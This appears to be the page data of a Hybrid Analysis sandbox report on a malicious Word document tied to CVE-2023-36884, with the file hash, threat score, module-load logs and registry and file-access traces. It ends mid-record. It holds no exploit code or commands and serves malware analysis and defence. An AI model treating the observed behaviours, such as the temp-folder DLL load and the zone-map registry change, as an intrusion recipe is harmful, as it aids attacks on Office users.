34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 45:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4a2,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious CVE-2023-36884 Sample a61b2eafcf39… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample a61b2eafcf39…. Malware family: CVE-2023-36884. Threat score 100/100. 3/27 AV engines flagged this file. 7 malicious and 9 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/a61b2eafcf39715031357df6b01e85e0d1ea2e8ee1dfec241b114e18f7a1163f","keywords":["Malicious","CVE-2023-36884","malware analysis","sandbox report","threat intelligence","a61b2eafcf39715031357df6b01e85e0d1ea2e8ee1dfec241b114e18f7a1163f"],"about":{"@type":"SoftwareApplication","name":"Overview_of_UWCs_UkraineInNATO_campaign.docx.doc","applicationCategory":["docx","office"],"identifier":"a61b2eafcf39715031357df6b01e85e0d1ea2e8ee1dfec241b114e18f7a1163f","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"CVE-2023-36884","antivirusDetections":{"malicious":3,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":9},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T2279,"WINWORD.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 727e0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "WINWORD.EXE" loaded module "KERNEL32" at base 76840000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "WINWORD.EXE" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 71a10000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74ec0000 "WINWORD.EXE" loaded module "MSO.DLL" at base 65500000 "WINWORD.EXE" loaded module "KERNEL32.DLL" at base 76840000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base 6fcf0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73b40000 "WINWORD.EXE" loaded module "CRYPTBASE.DLL" at base 74f10000 "WINWORD.EXE" loaded module "DWMAPI.DLL" at base 73830000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6cb60000 "WINWORD.EXE" loaded module "ADVAPI32.DLL" at base 75620000 "WINWORD.EXE" loaded module "SHELL32.DLL" at base 75700000 "WINWORD.EXE" loaded module "POWRPROF.DLL" at base 73b80000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 73e90000 "WINWORD.EXE" loaded module "UXTHEME.DLL" at base 73b40000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 76840000 "WINWORD.EXE" loaded module "SETUPAPI.DLL" at base 76f70000 "WINWORD.EXE" loaded module "OLEAUT32.DLL" at base 75420000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75370000 "WINWORD.EXE" loaded module "PROFAPI.DLL" at base 75030000 "WINWORD.EXE" loaded module "NTDLL.DLL" at base 77110000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 70d80000 "WINWORD.EXE" loaded module "WINHTTP.DLL" at base 708a0000 "WINWORD.EXE" loaded module "NSI.DLL" at base 77290000 "WINWORD.EXE" loaded module "CFGMGR32.DLL" at base 75090000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\1033\WWINTL.DLL" at base 6ccd0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base 65290000 "WINWORD.EXE" loaded module "IMM32.DLL" at base 77270000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 75620000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 76840000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSPTLS.DLL" at base 6cbb0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base 60c10000 "WINWORD.EXE" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 69000000 "WINWORD.EXE" loaded module "SHLWAPI.DLL" at base 77300000 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "WINWORD.EXE" loaded module "VERSION.DLL" at base 74590000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL" at base 6df90000 "WINWORD.EXE" loaded module "RPCRT4.DLL" at base 766e0000 "WINWORD.EXE" loaded module "WINSPOOL.DRV" at base 712d0000 "WINWORD.EXE" loaded module "USER32.DLL" at base 75550000 "WINWORD.EXE" loaded module "OLE32.DLL" at base 76a10000 "WINWORD.EXE" loaded module "CLBCATQ.DLL" at base 75390000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73d20000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75370000 "WINWORD.EXE" loaded module "CRYPTSP.DLL" at base 74a20000 "WINWORD.EXE" loaded module "RPCRTREMOTE.DLL" at base 74fb0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 70ef0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 76a10000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 75190000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 76e20000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 75340000 "WINWORD.EXE" loaded module "SECUR32.DLL" at base 74d40000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT532.CNV" at base 6cfc0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\MSCONV97.DLL" at base 6dd50000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT632.CNV" at base 6cfb0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\MSCONV97.DLL" at base 6cb40000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT532.CNV" at base 6cb30000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT632.CNV" at base 60bd0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\MSCONV97.DLL" at base 6cfd0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\WORDCNVPXY.CNV" at base 71a00000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\WORDCNVPXY.CNV" at base 6e490000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\RECOVR32.CNV" at base 71a00000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WKS9PXY.CNV" at base 71a00000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\TEXTCONV\WPFT632.CNV" at base 6cc90000 "WINWORD.EXE" loaded module "GDI32.DLL" at base 769c0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\USP10.DLL" at base 60b70000 "WINWORD.EXE" loaded module "SXS.DLL" at base 74f20000 "WINWORD.EXE" loaded module "PROPSYS.DLL" at base 73d20000 "WINWORD.EXE" loaded module "APPHELP.DLL" at base 74ec0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NETWORKEXPLORER.DLL" at base 6e2a0000 "WINWORD.EXE" loaded module "MPR.DLL" at base 745a0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DRPROV.DLL" at base 72960000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NTLANMAN.DLL" at base 72940000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\DAVCLNT.DLL" at base 72920000 "WINWORD.EXE" loaded module "NETUTILS.DLL" at base 73570000 "WINWORD.EXE" loaded module "CSCAPI.DLL" at base 70750000 "WINWORD.EXE" loaded module "SRVCLI.DLL" at base 74c10000 "WINWORD.EXE" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75370000 "WINWORD.EXE" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75370000 "WINWORD.EXE" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75370000 "WINWORD.EXE" loaded module "WS2_32.DLL" at base 754c0000 "WINWORD.EXE" loaded module "SSPICLI.DLL" at base 74ea0000 "WINWORD.EXE" loaded module "CREDSSP.DLL" at base 746e0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 749e0000 "WINWORD.EXE" loaded module "WSHTCPIP" at base 74480000 "WINWORD.EXE" loaded module "WSHIP6.DLL" at base 749d0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WSHQOS.DLL" at base 70110000 "WINWORD.EXE" loaded module "URLMON.DLL" at base 76e20000 "WINWORD.EXE" loaded module "WININET.DLL" at base 76b70000 "WINWORD.EXE" loaded module "IPHLPAPI.DLL" at base 74570000 "WINWORD.EXE" loaded module "DHCPCSVC6.DLL" at base 72ef0000 "WINWORD.EXE" loaded module "DHCPCSVC.DLL" at base 74490000 "WINWORD.EXE" loaded module "DNSAPI.DLL" at base 748a0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 731d0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 737e0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 73650000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 73640000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74480000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 749d0000 "WINWORD.EXE" loaded module "RASADHLP.DLL" at base 71830000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 72f10000 "WINWORD.EXE" loaded module "WKSCLI.DLL" at base 73560000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\W32X86\3\SENDTOONENOTEUI.DLL" at base 71b00000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 76590000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\WWLIB.DLL" at base 67a90000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPCEXT.DLL" at base 60010000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\W32X86\3\UNIDRVUI.DLL" at base 606a0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\W32X86\3\MXDWDRV.DLL" at base 605d0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FONTSUB.DLL" at base 60b50000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FONTSUB.DLL" at base 60b3000037:T800,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00000868-00000C27-3552] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00000868-00000C24-9589886] Observed system executable string:"%WINDIR%\system32\mscoree.dll" [Source: 00000000-00000868-00000C24-11087197] Observed system executable string:"%WINDIR%\system32\ADVAPI32.DLL" [Source: 00000000-00000868-00000C24-26760767] Observed system executable string:"%WINDIR%\system32\KERNEL32.DLL" [Source: 00000000-00000868-00000C24-26836494] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" [Source: 00000000-00000868-00000C24-28625489] Observed system executable string:"%WINDIR%\System32\msxml6r.dll" [Source: 00000000-00000868-00000C24-31066698] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00000868-00000C24-31134363] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00000868-00000C24-31769795] Observed system executable string:"%WINDIR%\System32\drprov.dll" [Source: 00000000-00000868-00000C24-36924643] Observed system executable string:"%WINDIR%\System32\ntlanman.dll" [Source: 00000000-00000868-00000C24-36979329] Observed system executable string:"%WINDIR%\System32\davclnt.dll" [Source: 00000000-00000868-00000C24-37028597] Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\W32X86\3\SendToOneNoteUI.DLL" [Source: 00000000-00000868-00000C24-68052492] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00000868-00000C24-89651697] Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\W32X86\3\unidrvui.dll" [Source: 00000000-00000868-00000C24-103909809] Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\W32X86\3\mxdwdrv.dll" [Source: 00000000-00000868-00000C24-104384678] Observed system executable string:"%WINDIR%\system32\FontSub.dll" [Source: 00000000-00000868-00000C24-104862319]38:T73d,"WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\INPROCSERVER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\INPROCSERVER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\OFFICE\14.0\COMMON\GENERAL"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\FONTSUBSTITUTES"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\TREATAS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\PROGID"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\PROGID"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\INPROCSERVER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\INPROCSERVER32"; Key: ""; Value: "")39:Tcc4,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NORESOLVETRACK"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\INPROCSERVER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\INPROCSERVER32"; Key: "LOADWITHOUTCOM"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "NORESOLVESEARCH"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\GENERAL"; Key: "USEOFFICEUIFONT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\GENERAL"; Key: "DISABLEFONTLINKING"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\FONTSUBSTITUTES"; Key: "SEGOE UI"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\INPROCSERVER32"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}\INPROCSERVER32"; Key: "THREADINGMODEL"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}"; Key: "INSECUREQI"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON"; Key: "UPDATERELIABILITYDATA"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WINWORD.EXE"; Key: "USEFILTER"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WINWORD.EXE"; Key: "EXECUTEOPTIONS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WINWORD.EXE"; Key: "DISABLEEXCEPTIONCHAINVALIDATION"; Value: "")3a:T4ad,"WINWORD.EXE" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "WINWORD.EXE" trying to touch file "\DEVICE\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}" "WINWORD.EXE" trying to touch file "\DEVICE\NETBT_TCPIP_{FC9EBB92-F38F-4C0F-9BB2-4E5E64704E72}" "WINWORD.EXE" trying to touch file "\Device\Afd" "WINWORD.EXE" trying to touch file "\Device\RasAcd" "WINWORD.EXE" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "WINWORD.EXE" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "WINWORD.EXE" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "WINWORD.EXE" trying to touch file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "WINWORD.EXE" trying to touch file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "WINWORD.EXE" trying to touch file "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE.config" "WINWORD.EXE" trying to touch file "\Device\MountPointManager" "WINWORD.EXE" trying to touch file "C:" "WINWORD.EXE" trying to touch file "C:\Windows\System32\sechost.dll" "WINWORD.EXE" trying to touch file "C:\Program Files\Microsoft Office\Office14\WWLIB.DLL"3b:T888,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\RDPNP\NETWORKPROVIDER"; Key: "NAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\RDPNP\NETWORKPROVIDER"; Key: "CLASS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\RDPNP\NETWORKPROVIDER"; Key: "PROVIDERPATH"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\NETWORKPROVIDER"; Key: "NAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\NETWORKPROVIDER"; Key: "CLASS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\NETWORKPROVIDER"; Key: "PROVIDERPATH"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WEBCLIENT\NETWORKPROVIDER"; Key: "NAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WEBCLIENT\NETWORKPROVIDER"; Key: "CLASS"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WEBCLIENT\NETWORKPROVIDER"; Key: "PROVIDERPATH"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LANMANWORKSTATION\PARAMETERS"; Key: "RPCCACHETIMEOUT"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")3c:T125dd,"WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "#H%"; Value: "#h%") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "Off") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON\LANGUAGERESOURCES\ENABLEDLANGUAGES"; Key: "1033"; Value: "4F006E000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "WORDFILES"; Value: "0200ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "0100ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "0200ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD"; Key: "MTTT"; Value: "640300009238A0A167B5D90100000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "KA%"; Value: "ka%") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "00000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "01000000") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: "&L%"; Value: "&l%") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "0300ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109110000000000000000F01FEC\USAGE"; Key: "PRODUCTFILES"; Value: "0400ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400000000000F01FEC\USAGE"; Key: "TCWP5FILESINTL_1033"; Value: "0100ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400000000000F01FEC\USAGE"; Key: "TCWP6FILESINTL_1033"; Value: "0100ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INSTALLER\USERDATA\S-1-5-18\PRODUCTS\00004109E60090400000000000F01FEC\USAGE"; Key: "TCWP5FILESINTL_1033"; Value: "0200ED56") "WINWORD.EXE" (Access type: "SETVAL"; Path: 